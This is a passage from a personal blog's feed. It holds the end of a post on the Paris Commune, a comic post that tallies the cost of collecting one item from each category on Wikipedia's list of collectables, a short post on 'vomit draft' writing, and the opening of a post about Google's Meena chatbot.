<p>The total military defeat of the Commune and the harsh treatment of suspected Communards virtually destroyed the radical Left in French politics for nearly a decade and massively discouraged any future resort to violent popular revolution in France.</p>
<p>Although a failure due to its hopeless military situation, Karl Marx in “The Civil War in France” (1871), praised the Commune’s achievements, and described it as a proletarian government that had destroyed the bourgeois bureaucratic machine and as “the glorious harbinger of a new society” that should serve as a model for future revolutionary governments.</p>
<p>As at the time Paris had around 2 million occupants, I find the Commune to be a good example for how an anarcho-communism could work. Even with intense military pressure, they managed achieve a workable society, although short lived.</p>
<p>So that’s all from me. Tune in next time when we talk about the politics of the anime “<a href="https://myanimelist.net/anime/37430/Tensei_shitara_Slime_Datta_Ken">That Time I Got Reincarnated as a Slime</a>”!<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span></p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>I am actually going to do this. Maybe not next time, but eventually.</span></aside>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://en.wikipedia.org/wiki/Anarchism</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://en.wikipedia.org/wiki/State_capitalism</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[I Nerd Sniped Myself And Wasted A Day On This Useless Post]]></title>
        <id>https://justin.duch.me/post/nerd_sniped</id>
        <link href="https://justin.duch.me/post/nerd_sniped"/>
        <updated>2020-03-12T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Every week or so I go through random <a href="https://xkcd.com">xkcd</a> comics because I get bored at work. Today, I read comic 2123: “<a href="https://www.xkcd.com/2123/">Meta Collecting</a>”, which contains the text:</p>
<blockquote>
  <p>My hobby: Collecting one item from every category listed on Wikipedia’s “List of collectables.”</p>
</blockquote>
<p>This created a chain of thoughts which was as follows:</p>
<ol>
<li>Haha funny meta joke. I like meta joke.</li>
<li>I wonder what the “List of collectables” page actually looks like.</li>
<li>Wow, that’s a lot of stuff. Collecting them all could be expensive.</li>
</ol>
<p>So now we will go through every item in the “<a href="https://en.wikipedia.org/wiki/List_of_collectables">List of collectables</a>” page, find the average price of every item, and add it up to get the price of collecting every category.</p>
<p>I have no idea how long this will take, or if there even is information about this on every collection. But I must know. <strong>I need to know.</strong> If I don’t get this information, I’m literally going to <strong>die</strong> (not literally).</p>
<p>But before we begin, we gotta cut down on this list. I haven’t counted but I’m sure it is in the hundreds and I literally can’t do all of that (actually literally). Going through it, there’s a few sections that I think are too broad to get a good number on, so we’ll skip them (I’m sure we could extrapolate numbers from the ones we do have). They are:</p>
<ul>
<li>Architectural</li>
<li>Art</li>
<li>Clothing and accessories, fabric and textiles</li>
<li>Coins, currency, and stamps</li>
<li>Film and television</li>
<li>Glass and pottery</li>
<li>Nature and animals</li>
<li>Theme</li>
<li>Memorabilia</li>
</ul>
<p>That’s well over half of the list, but it’s still probably too big so we’ll also skip some stuff in the things we have left when we get to it. But our remaining list is:</p>
<ul>
<li>Advertising collectables</li>
<li>Books, magazines, and paper</li>
<li>Music</li>
<li>Sports</li>
<li>Technology</li>
<li>Toys, games, and dolls</li>
</ul>
<p>The page also has several items which are nested such as the trading cards section which looks like this:</p>
<pre class="prettyprint linenums"><code>* Trading cards
    * Insert cards
    * Non-sports cards
    * Sports cards
        * Baseball cards
        * Basketball cards
        * Football cards
        * Hockey cards
        * Jersey cards
</code></pre>
<p>I will only search for items which have no children. So in this case I would only look at: ‘Insert cards’, ‘Non-sports cards’, ‘Baseball cards’, ‘Basketball cards’, ‘Football cards’, ‘Hockey cards’, and ‘Jersey cards’. But maybe not ‘Insert Cards’ or ‘Non-sports cards’ because that’s super broad.</p>
<p><em>Insert some witty catchphrase about starting here.</em></p>
<h2 id="advertisingcollectables">Advertising collectables</h2>
<h3 id="antiqueadvertising">Antique Advertising</h3>
<p>Well this is a good start. I haven’t found any data on this stuff, only marketplaces. Why people don’t want to do any research on people’s antique advertising collections is beyond me, so we’ll just get it from the marketplaces.</p>
<p>In the “<a href="https://www.etsy.com/market/antique_advertising">Antique advertising</a>” section of Etsy, you can scroll down and see text that says this:</p>
<p>“Did you scroll all this way to get facts about antique advertising? Well you’re in luck, because here they come. There are 20292 antique advertising for sale on Etsy, and they cost US$76.05 on average. The most common antique advertising material is metal. The most popular colour? You guessed it: red.”</p>
<p>frist of all, how <strong>dare</strong> yo u. I didn’t guess ”red”, don’t assume you know me Etsy. But it looks like our average price is US$76.05, thank you Etsy. Bare in mind however, these numbers are <strong>only</strong> from Etsy. There are lots of other marketplaces so they might not be entirely accurate. But I think it should be okay, I’ll put these numbers in a table at the bottom when we’re done.</p>
<h3 id="matchbooks">Matchbooks</h3>
<p>I’ve found “<a href="https://www.sun-sentinel.com/news/fl-xpm-1985-12-20-8502270721-story.html">MATCHBOOK COVERS CARRY DIFFERENT VALUES</a>” from the South Florida Sun Sentinel, which states that they go for around $3 each. The only problem is that the article is from December 1985. Not the most up to date information I’ll admit, but adjusted for inflation that’s US$7.19.</p>
<p>Seems kinda reasonable but according to our friend <a href="https://www.etsy.com/market/matchbook">Etsy</a> (who I suspect we’ll be seeing a lot), “there are 6747 matchbook for sale on Etsy, and they cost US$70.35 on average.”</p>
<p>That’s a huge jump, which seems to be because Etsy sells matchbook <strong>collections</strong> instead of singular matchbooks. Since I can’t find out how to get Etsy to only show <strong>single</strong> matchbooks, we’ll be going with the US$7.19 number.</p>
<h3 id="matchboxes">Matchboxes</h3>
<p>I don’t know what the difference is between a “matchbook” and “matchbox”. And because of that, I’m going to pretend that there isn’t one and say matchboxes also cost US$7.19.</p>
<p>I actually checked <a href="https://www.etsy.com/au/market/matchbox">Etsy</a>, but it said “and they cost US$48.29 on average.” Which once again, is clearly wrong as the results also seem to include collections as well as the Matchbox cars. So it seems like “matchbox” is just too broad a term.</p>
<h3 id="radiopremiums">Radio Premiums</h3>
<p>Once again, no information. Once again, <a href="https://www.etsy.com/market/radio_premiums">Etsy</a> says “US$31.42 on average.” And once again that is because they include things that AREN’T RADIO PREMIUMS.</p>
<p>This time I went through each item on Etsy (that was actually a radio premium), and got the average: US$80.</p>
<h3 id="bazookajoecomics">Bazooka Joe Comics</h3>
<p>These comics actually come from the inside of “Bazooka Bubble Gum”, so it’s just the price of that, which is US$12 for 225 from <a href="https://www.amazon.com/Original-Bazooka-Bubble-Piece-47-6/dp/B00NG07SO2">Amazon</a>. For one that makes US$0.05.</p>
<h3 id="cratercritters">Crater Critters</h3>
<p>Crater Critters was a set of eight plastic toys that were made by an Australian company, Rosenhain and Lipmann and given away inside Kellogg’s cereal boxes in 1968 and again in 1972.<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a></p>
<p>According to this <a href="http://cratercr.ipower.com/page2.html">kinda sketchy website</a> they are AU$35 each. In USD (because that’s what everything else is in) it is US$23.14.</p>
<h3 id="crackerjackprizes">Cracker Jack Prizes</h3>
<p>According to “<a href="https://theartiscrackerjack.com/for-collectors/tips/17-best-resources-for-researching-cracker-jack-prizes">Best Resources for Researching Cracker Jack Prizes</a>” from The Art Is Cracker Jack, Etsy is on the list of “best websites to research Cracker Jack prizes”. So I did that and it said “and they cost US$32.55 on average”, which <strong>ONCE AGAIN</strong> includes stuff that <strong>isn’t</strong> Cracker Jack prizes.</p>
<p>Instead I went onto the <a href="http://www.crackerjackcollectors.com/forum/">Cracker Jack Collectors Association forum</a> and found <a href="http://www.crackerjackcollectors.com/forum/viewtopic.php?f=7&t=641&p=5123&hilit=average+price#p5123">this post</a> which said a piece goes for US$2 each.</p>
<h3 id="pinbackbutton">Pin-back Button</h3>
<p>The wiki page doesn’t say what kind of pin-back button, or how it even relates to advertising, but <a href="https://www.etsy.com/market/pinback_button">Etsy</a> says “US$5.66 on average”, and I’m going with it.</p>
<h3 id="tazos">Tazos</h3>
<p>US$14.49 on average according to <a href="https://www.etsy.com/au/market/tazos">Etsy</a> but it’s actually more like $5 if you ignore the collections.</p>
<h3 id="avon">Avon</h3>
<p>Don’t really know why people would collect stuff from a <a href="https://en.wikipedia.org/wiki/Multi-level_marketing">multi-level marketing</a> company, but it’s US$21.18 on average from <a href="https://www.etsy.com/market/avon">Etsy</a>.</p>
<h3 id="campbellssoup">Campbell’s Soup</h3>
<p>This is also kinda broad, there’s lots of products from Campbell’s Soup. But this pack of 10 goes for US$24.30 on <a href="https://www.amazon.com/Campbells-WINTER-Variety-Plastic-Spoons/dp/B0163OMGX0/ref=sr_1_1?keywords=campbells+soup&qid=1583731456&sr=8-1">Amazon</a> which is $2.43 each.</p>
<h3 id="cocacola">Coca-Cola</h3>
<p>Like $3 I think.</p>
<h3 id="disneypins">Disney Pins</h3>
<p>According to Wikipedia, “pins are available for a limited time; the base price for a pin is US$9.99.”<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a> But this is for when you initially buy them, apparently they can be resold for up to US$2,000. I, however, will ignore that fact.</p>
<h3 id="harleydavidson">Harley-Davidson</h3>
<p>According to howmuchisit.org “the costs, brand new, can be anywhere from as little as $7,000 to more than $41,000 MSRP.”<a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a> We are just going to take the median from the table they provide, which is US$17,200.</p>
<h3 id="ronsonlighters">Ronson Lighters</h3>
<p>US$43.69 (Nice) on average from <a href="https://www.etsy.com/au/market/ronson_lighter">Etsy</a>.</p>
<p>Can you tell I’m already getting tired of this?</p>
<p>Here’s an idea to make this more fun: take a shot every time I say “Etsy” or “Amazon”. Disclaimer: I take no responsibility if you actually do it and I won’t be paying for your medical expenses.</p>
<h3 id="zippolighters">Zippo Lighters</h3>
<p>US$53.02 on average from <a href="https://www.etsy.com/au/market/zippo_lighter">Etsy</a>.</p>
<p>Other brands like “John Deere”, “Maytag”, “McDonalds”, and “Luxury Goods” are too broad, so we will skip them.</p>
<h2 id="booksmagazinesandpaper">Books, magazines, and paper</h2>
<h3 id="absolutvodkaads">Absolut Vodka Ads</h3>
<p>I have no idea why this isn’t part of the previous section. And I have no idea how to get information on this, because all the marketplaces are filled with art, which you could technically count as ads but they’re not make by the company and… fuck it, I’m counting it.</p>
<p>US$37.95 on average from <a href="https://www.etsy.com/market/absolut_vodka">Etsy</a></p>
<h3 id="gotmilkads">Got Milk? Ads</h3>
<p>US$86.35 on average from <a href="https://www.etsy.com/market/got_milk_collectible">Etsy</a>.</p>
<h3 id="globes">Globes</h3>
<p>US$60.57 on average from <a href="https://www.etsy.com/market/world_globe">Etsy</a>.</p>
<h3 id="roadmaps">Roadmaps</h3>
<p>This was kinda hard to search for because it kept getting mixed up with business roadmaps. So hard in fact that I couldn’t find anything. However, the bullet point in the page just links to “<a href="https://en.wikipedia.org/wiki/Map">Map</a>”, so searching for “World Maps” returns US$59.97 on average from <a href="https://www.etsy.com/market/world_map">Etsy</a>.</p>
<h3 id="childrensliterature">Children’s Literature</h3>
<p>“The Very Hungry Caterpillar” goes for US$10.10 on <a href="https://www.amazon.com/Very-Hungry-Caterpillar-Picture-Puffins/dp/0140569324/ref=tmm_pap_swatch_0?_encoding=UTF8&qid=&sr=">Amazon</a>. And as far as I’m concerned Carle’s masterpiece is the only book worth collecting.</p>
<h3 id="dcreprints">DC Reprints</h3>
<p>US$85.69 (Nice) on average from <a href="https://www.etsy.com/market/dc_archive_editions">Etsy</a>.</p>
<h3 id="marvelreprints">Marvel Reprints</h3>
<p>US$59.10 on average from <a href="https://www.etsy.com/market/marvel_masterworks">Etsy</a>.</p>
<h3 id="manga">Manga</h3>
<p>I don’t know what kinda of manga Wikipedia is referring to but a “Shonen Jump” subscription is $1.99 a month from <a href="https://www.viz.com/sj-offer">VIZ</a>.</p>
<h3 id="tarotcards">Tarot Cards</h3>
<p>US$9.88 on average from <a href="https://www.etsy.com/market/tarot_cards">Etsy</a>.</p>
<h3 id="postcards">Postcards</h3>
<p>US$9.37 on average from <a href="https://www.etsy.com/market/postcards">Etsy</a>.</p>
<h3 id="baseballcards">Baseball Cards</h3>
<p>From <a href="https://www.priceguide.cards/en/baseball">priceguide.cards</a> it looks like they can go anywhere from $10 to $2,000 and according to “<a href="https://www.fool.com/investing/general/2013/02/25/have-baseball-card-values-risen-in-20-years-actual.aspx">Have Baseball Card Values Risen in 20 Years? Actually</a>” from The Motley Fool some of them have in fact been rising. They don't provide an average price anywhere, but skimming through their tables I'm going to eyeball it and say $30.</p>
<h3 id="basketballcardsetal">Basketball Cards, et al</h3>
<p>Honestly, it’s probably around the same as baseball cards. Same with all the other sports cards, so we are going to skip them. Sorry if you’re a basketball card connoisseur and understand the differences between all these, but I don’t care and I’m tired.</p>
<p>The next section is “ephemera”, which is transitory written and printed matter not intended to be retained or preserved. And since it’s not intended to be “retained or preserved”, collecting them goes against the laws of quantum dynamics so the entire section is disqualified.</p>
<p>At this point you may be wondering why I’m even doing this, if I’m not even going to bother doing it correctly. That’s a good question.</p>
<h2 id="music">Music</h2>
<h3 id="cds">CDs</h3>
<p>With a lot of these more broad items, I think I can get away with specifying the collections myself. So I hereby declare the “CDs” collection to be a collection of Radiohead albums circa 2016.</p>
<p>And wow! Look at this! There’s only one Radiohead album from 2016, “A Moon Shaped Pool”, which goes for US$17 on <a href="https://www.amazon.com.au/MOON-SHAPED-POOL-RADIOHEAD/dp/B01FDF12W6">Amazon</a>! How convenient that we don’t need to get an average!</p>
<h3 id="8tracktapes">8-Track Tapes</h3>
<p>These seem to go for around US$5 according to “<a href="http://web.archive.org/web/20161021074701/http://kicknode.com:80/the-value-of-old-8-track-tapes-how-to-price-vintage-8-tracks/">The Value of Old 8-Track Tapes: How to Price Vintage 8-Tracks</a>” from Kick Node.</p>
<h3 id="gramophonerecords">Gramophone Records</h3>
<p>The vinyl for “A Moon Shaped Pool” is US$24.93 on <a href="https://www.amazon.com/Moon-Shaped-Pool-2-LP-Download/dp/B01FDF12UI/ref=tmm_vnl_swatch_0?_encoding=UTF8&qid=&sr=">Amazon</a>.</p>
<h3 id="jukeboxes">Jukeboxes</h3>
<p>As of the time of me writing this, there is only one jukebox on <a href="https://www.amazon.com/Crosley-Bluetooth-Jukebox-Changing-Lights/dp/B00SJUKYVS?ref_=fsclp_pl_dp_1">Amazon</a> that is not out of stock, which goes for US$1,295.95.</p>
<h3 id="cassettetapes">Cassette Tapes</h3>
<p>According to Quora question “<a href="https://www.quora.com/What-is-the-value-of-cassette-tapes?share=1">What is the value of cassette tapes?</a>”, “the vast majority of tapes that was mass-produced are worthless” and “go for 4 or 5 dollars at least”.</p>
<p>We’re going with US$5.</p>
<h3 id="analogsynthesizers">Analog Synthesizers</h3>
<p>musiccritic.com’s “<a href="https://musiccritic.com/equipment/keyboards/best-synthesizer/">10 Best Synthesizers in 2020 Buying Guide</a>” has the “Korg, 27-Key Sound Module” as number one, which is US$142 on <a href="https://www.amazon.com/Korg-Volca-Keys-Analog-Synthesizer/dp/B00CAKSVTU?tag=musiccritic-search-20">Amazon</a>.</p>
<h3 id="tubeamplifiers">Tube Amplifiers</h3>
<p>“<a href="https://thevinylfactory.com/features/the-8-best-budget-valve-amplifiers-and-how-to-avoid-getting-ripped-off/">The 8 best budget valve amplifiers and how to avoid getting ripped off</a>” has amplifiers that go from a few hundred pounds to a thousand pounds. I decided to go with the coolest looking one, the “Cayin Audio A-55T” which is the most expensive at £1,460 or US$1,915.75.</p>
<h3 id="vintageguitars">Vintage Guitars</h3>
<p>A forum thread “<a href="https://www.harmonycentral.com/forums/topic/1091860-quotvintagequot-guitars-worth-the-cash/">“Vintage” guitars - worth the cash?</a>” in Harmony Central, has users stating that they can go for $1,500 - $2,000. As usual, we use the bigger number.</p>
<h2 id="sports">Sports</h2>
<h3 id="golf">Golf</h3>
<p>This is the only sport in the sport section. Just <strong>golf</strong>.</p>
<p>What about golf? Which parts of Golf? What do people collect? I have no idea, so I’m going to make a guess.</p>
<p>According to <a href="https://www.statista.com/statistics/910301/us-average-price-of-golf-course-sales/">Statista</a>, the average price of a golf course (in 2017) is US$31 million.</p>
<h2 id="technology">Technology</h2>
<p>In the xkcd comic, Cueball states that they will look for “a Maytag dryer”. However, the reference for “Maytag” in the Wikipedia page goes to the <a href="http://www.maytagclub.com">Maytag Collectors Club</a>, which mainly collects Maytag <a href="http://www.maytagclub.com">washers</a>, <strong>not</strong> dryers.</p>
<p>Since the validity of the comic has now gone down the drain (or washer?), I believe it is okay for me to half-ass the rest of this (more than I already have). So from now on, I’m just going to pick and choose things that look interesting to me.</p>
<h3 id="automobilia">Automobilia</h3>
<p>One time while watching the ending ceremony of a Formula 1 race, I saw a guy go into the Mercedes pit-box and try to take a front wing. Unfortunately, crew from another team (I forgot which) stopped the man. If he had taken it this would have counted as automobilia, but I’m going to pretend that it does anyway.</p>
<p>According to “<a href="http://tsmsportz.com/f1/formula-1-car-cost/">How Much Formula 1 Car Cost in 2018 (Engine Parts)</a>”, a front wing costs up to $300,000.</p>
<h3 id="watches">Watches</h3>
<p>My Apple Watch cost AU$600 which is US$396.28. Yes, I know this probably isn’t what watch collectors collect, but who cares.</p>
<h3 id="computers">Computers</h3>
<p>My computer costs around AU$3,000 or US$1,981.42.</p>
<h3 id="televisionsespeciallycrts">Televisions (especially CRTs)</h3>
<p>I once found a CRT online for $50.</p>
<h3 id="weapons">Weapons</h3>
<p>“A railgun is a device, typically designed as a weapon, that uses <a href="https://en.wikipedia.org/wiki/Electromagnet">electromagnetic force</a> to launch high <a href="https://en.wikipedia.org/wiki/Velocity">velocity</a> projectiles. The projectile normally does not contain explosives, instead relying on the projectile’s high <a href="https://en.wikipedia.org/wiki/Speed">speed</a> and <a href="https://en.wikipedia.org/wiki/Kinetic_energy">kinetic energy</a> to inflict damage.”<a href="#reference-4" class="reference-link" id="reference-4-backlink"><sup>[4]</sup></a></p>
<p>And according to “<a href="https://www.ibtimes.com/us-navy-railgun-electromagnetic-cannon-cost-too-expensive-despite-drawbacks-officials-2387188">Is US Navy Railgun Electromagnetic Cannon Cost Too Expensive? Despite Drawbacks, Officials Tout New Weapon</a>”, they cost $50,000.</p>
<h2 id="toysgamesanddolls">Toys, Games, And Dolls</h2>
<h3 id="collectiblecardgames">Collectible Card Games</h3>
<p>When I was a child, I used to make up my own Pokèmon and create cards of them to play with my actual Pokèmon cards. I also remember making one very overpowered and trying to sell it to my friend for $500.</p>
<p>He did not buy it, and instead made an even more overpowered one.</p>
<h3 id="rubberduck">Rubber Duck</h3>
<p>I find people who collect rubber ducks to be weirdos. I’m not doing this one.</p>
<h3 id="videogames">Video Games</h3>
<p>This is probably the only accurate item in this entire post. That’s because I have first hand experience with it.</p>
<p>According to SteamDB, I have 678 games on Steam, with an average price of US$16.95. Now 678 isn’t as big as most hardcore collectors, but it’s still a lot more than most people, so I think it’s pretty accurate.</p>
<p>That’s all the ones I care about, so here’s them all in a table:</p>
<table>
<thead>
<tr>
<th>Name</th>
<th>Price (In USD)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Antique advertising</td>
<td>$76.05</td>
</tr>
<tr>
<td>Matchbooks</td>
<td>$7.19</td>
</tr>
<tr>
<td>Matchboxes</td>
<td>$7.19</td>
</tr>
<tr>
<td>Radio premiums</td>
<td>$80</td>
</tr>
<tr>
<td>Bazooka Joe Comics</td>
<td>$0.05</td>
</tr>
<tr>
<td>Crater Critters</td>
<td>$23.14</td>
</tr>
<tr>
<td>Cracker Jack prizes</td>
<td>$2</td>
</tr>
<tr>
<td>Pin-back buttons</td>
<td>$5.66</td>
</tr>
<tr>
<td>Tazos</td>
<td>$5</td>
</tr>
<tr>
<td>Avon</td>
<td>$21.18</td>
</tr>
<tr>
<td>Campbell’s Soup</td>
<td>$2.43</td>
</tr>
<tr>
<td>Coca-Cola</td>
<td>$3</td>
</tr>
<tr>
<td>Disney pins</td>
<td>$9.99</td>
</tr>
<tr>
<td>Harley-Davidson</td>
<td>$17,200</td>
</tr>
<tr>
<td>Ronson lighters</td>
<td>$43.69 (Nice)</td>
</tr>
<tr>
<td>Zippo lighters</td>
<td>$53.02</td>
</tr>
<tr>
<td>Absolut Vodka ads</td>
<td>$37.95</td>
</tr>
<tr>
<td>Got Milk? ads</td>
<td>$86.35</td>
</tr>
<tr>
<td>Globes</td>
<td>$60.57</td>
</tr>
<tr>
<td>Roadmaps</td>
<td>$59.97</td>
</tr>
<tr>
<td>Children’s literature</td>
<td>$10.10</td>
</tr>
<tr>
<td>DC reprints</td>
<td>$85.69 (Nice)</td>
</tr>
<tr>
<td>Marvel reprints</td>
<td>$59.10</td>
</tr>
<tr>
<td>Manga</td>
<td>$1.99</td>
</tr>
<tr>
<td>Tarot cards</td>
<td>$9.88</td>
</tr>
<tr>
<td>Postcards</td>
<td>$9.37</td>
</tr>
<tr>
<td>Baseball cards</td>
<td>$30</td>
</tr>
<tr>
<td>Basketball cards</td>
<td>$30</td>
</tr>
<tr>
<td>Football cards</td>
<td>$30</td>
</tr>
<tr>
<td>Hockey cards</td>
<td>$30</td>
</tr>
<tr>
<td>Jersey cards</td>
<td>$30</td>
</tr>
<tr>
<td>CDs</td>
<td>$17</td>
</tr>
<tr>
<td>8-track tapes</td>
<td>$5</td>
</tr>
<tr>
<td>Gramophone records</td>
<td>$24.93</td>
</tr>
<tr>
<td>Jukeboxes</td>
<td>$1,295.95</td>
</tr>
<tr>
<td>Casette tapes</td>
<td>$5</td>
</tr>
<tr>
<td>Analog synthesizers</td>
<td>$142</td>
</tr>
<tr>
<td>Tube amplifiers</td>
<td>$1,915.75</td>
</tr>
<tr>
<td>Vintage guitars</td>
<td>$2,000</td>
</tr>
<tr>
<td>Golf</td>
<td>$31,000,000</td>
</tr>
<tr>
<td>Automobilia</td>
<td>$300,000</td>
</tr>
<tr>
<td>Watches</td>
<td>$396.28</td>
</tr>
<tr>
<td>Computers</td>
<td>$1,981.42</td>
</tr>
<tr>
<td>Televisions (CRTs)</td>
<td>$50</td>
</tr>
<tr>
<td>Weapons</td>
<td>$50,000</td>
</tr>
<tr>
<td>Collectible card games</td>
<td>$500</td>
</tr>
<tr>
<td>Rubber duck</td>
<td>Null</td>
</tr>
<tr>
<td>Video games</td>
<td>$16.95</td>
</tr>
</tbody>
</table>
<p>This brings us to a total of <strong>$31,376,460.84 + $43.69 (Nice) + $85.69 (Nice) + Null</strong> (USD). I said before that we could extrapolate the rest of the list from this, so since this is probably only ~1/4 of it all, we’ll just multiply it by 4.</p>
<p>This gets us <strong>$125,505,843.36 + (4 x $43.69 (Nice)) + (4 x $85.69 (Nice)) + 4 x Null</strong> (USD).</p>
<p>However, I’d rather have a whole number. So before we leave, let’s just find how how much a “Nice” and “Null” is worth.</p>
<p>“Nice” is easy. The town of Nice (pronounced: /niːs/) is the seventh most populous urban area in France and has a GDP of 47.7 billion<a href="#reference-5" class="reference-link" id="reference-5-backlink"><sup>[5]</sup></a>. Putting this in the equation will look like:</p>
<pre class="prettyprint linenums"><code>$125,505,843.36 + (4 x $43.69 (Nice)) + (4 x $85.69 (Nice)) + 4 x Null

= $125,505,843.36 + (4 x ($43.69 x $47,700,000,000)) + (4 x ($85.69 x $47,700,000,000)) + 4 x Null

= $24,685,829,505,843.36 + 4 x Null
</code></pre>
<p>Now, what is a “Null”? “In <a href="https://en.wikipedia.org/wiki/Computing">computing</a>, a null pointer or null reference has a value saved for indicating that the <a href="https://en.wikipedia.org/wiki/Pointer_computer_programming">pointer</a> or <a href="https://en.wikipedia.org/wiki/Reference_(computer_science)">reference</a> does not refer to a valid object.”<a href="#reference-6" class="reference-link" id="reference-6-backlink"><sup>[6]</sup></a> It was created by Tony Hoare who called it his “billion dollar mistake” that has lead to “innumerable errors, vulnerabilities, and system crashes, which have probably caused a billion dollars of pain and damage in the last forty years.”<a href="#reference-7" class="reference-link" id="reference-7-backlink"><sup>[7]</sup></a></p>
<p>A billion dollars seems like a good number. Plugging in 4 billion (4 x Null) gives us <strong>$24,689,829,505,843.36</strong> (USD), or ~19 Apples.<a href="#reference-8" class="reference-link" id="reference-8-backlink"><sup>[8]</sup></a></p>
<p>Now, as Cueball (the character in the comic) “doesn’t necessarily represent the same character from comic to comic” and “represents a generic everyman“<a href="#reference-9" class="reference-link" id="reference-9-backlink"><sup>[9]</sup></a>, we know Cueball is “the average person”.</p>
<p>In “<a href="https://www.thestreet.com/personal-finance/average-income-in-us-14852178">What Is the Average Income in the U.S.?</a>” from TheStreet, the average yearly income of a US citizen is approximately $48,672. This means it would take ~507,269,673 years for Cueball to be able to buy every item, <strong>if</strong> they spent <strong>all</strong> of their yearly income on it.</p>
<p>Meanwhile, it would only Jeff Bezos would take ~315 years with his annual earnings of $78,500,000,000 according to <a href="https://www.businessinsider.com.au/what-amazon-ceo-jeff-bezos-makes-every-day-hour-minute-2018-10?op=1&r=US&IR=T">Business Insider</a>. Talk about excessive…</p>
<p>Haha, tricked you! This is actually communist propaganda! It’s time for a revolution! Every man should be able to own an item from every category in Wikipedia’s “List of collectables”! Down with the bourgeoisie!</p>
<p>What, you think I’ve been doing everything in America money because I think it’s better or something? NO! I need to pander to my American audience to build up trust before I tear it all down.</p>
<p>Vote Bernie.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://en.wikipedia.org/wiki/Crater_Critters</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://en.wikipedia.org/wiki/Disney\_pin_trading</div>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: https://www.howmuchisit.org/harley-davidson-cost</div>
<div class="reference" id="reference-4"><a class="reference-link" href="#reference-4-backlink"><sup>[4]</sup></a>: https://en.wikipedia.org/wiki/Railgun</div>
<div class="reference" id="reference-5"><a class="reference-link" href="#reference-5-backlink"><sup>[5]</sup></a>: https://en.wikipedia.org/wiki/Nice</div>
<div class="reference" id="reference-6"><a class="reference-link" href="#reference-6-backlink"><sup>[6]</sup></a>: https://en.wikipedia.org/wiki/Null_pointer</div>
<div class="reference" id="reference-7"><a class="reference-link" href="#reference-7-backlink"><sup>[7]</sup></a>: https://www.infoq.com/presentations/Null-References-The-Billion-Dollar-Mistake-Tony-Hoare/</div>
<div class="reference" id="reference-8"><a class="reference-link" href="#reference-8-backlink"><sup>[8]</sup></a>: https://www.investopedia.com/news/apple-now-bigger-these-5-things/</div>
<div class="reference" id="reference-9"><a class="reference-link" href="#reference-9-backlink"><sup>[9]</sup></a>: https://www.explainxkcd.com/wiki/index.php/Cueball</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[The Vomit Draft]]></title>
        <id>https://justin.duch.me/post/vomit_draft</id>
        <link href="https://justin.duch.me/post/vomit_draft"/>
        <updated>2020-03-09T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Over the years of this blog’s operation, I’ve been looking at ways to write posts more effectively.</p>
<p>My first few posts were done using what I learned in high school for essay writing, which was to write out a plan of the ideas of each section in bullet-points. You can see how that affected the final product, as my earlier posts are much more structured then my later ones.</p>
<p>I stopped doing that because I hate planning and structure as well as doing things that reminded me of high school. So instead I started writing these posts like how I write my code: just write the thing and refactor it later.</p>
<p>According to commenters on Hacker News this is called a “vomit draft”. Where you start sloppy and fix it later. It’s easier to see how truly a terrible thing could be improved than it is to just start working from a blank slate.</p>
<p>Generally when I come up with an idea for a post, I’ll write down a sentence (as well as any links I need) to remind me of it in my notes, but the entire post will be sitting in my head for days (or weeks even). Once I think it’s been developed enough, I’ll dump it from my brain and write down the entire thing at once.</p>
<p>Normally, the post is in a pretty bad shape. It’ll probably be really confusing where I haven’t explained my points very well, so I’ll work on fixing it. This also takes a few days as I’ll weigh up the worth of the post. There have been a few instances of posts that I’ve tried to fix up but have stayed as “vomit” no matter how much work goes into it. If that happens, then the idea of the post is probably flawed and I’ll scrap it. Here’s some examples of posts I couldn’t fix:</p>
<ul>
<li>A Post About Video Games As Art</li>
<li>I Have Fixed Timekeeping And Await My Nobel Prize In Mathematics</li>
<li>You Suck At Python</li>
</ul>
<p>These are all <strong>technically</strong> completed as the entire post has been written, but I don’t think they are of good quality so they will will never see the light of day<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a>.</p>
<p>I’ve found this process to work well so far. Although keeping several posts in your head can be hard to do as I’ll most likely forget some stuff, you know what they say: “If you forgot it, it probably wasn’t important”.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: Maybe if I start a Patreon they’d be rewards.</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[« My Favourite Shows Are Supernatural, And Star Trek TNG »]]></title>
        <id>https://justin.duch.me/post/chatbot_panpsychism</id>
        <link href="https://justin.duch.me/post/chatbot_panpsychism"/>
        <updated>2020-03-07T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>This quote is from an example conversation Google showed in it’s blog post “<a href="https://ai.googleblog.com/2020/01/towards-conversational-agent-that-can.html">Towards a Conversational Agent that Can Chat About… Anything</a>” which describes their new chatbot “Meena, a 2.6 billion parameter end-to-end trained <a href="https://arxiv.org/abs/1506.05869">neural conversational model</a>.”</p>
<p>The example is of Meena encoding a 7-turn conversation context and generating a response, “The Next Generation”. I’ve hot-linked the image below.</p>
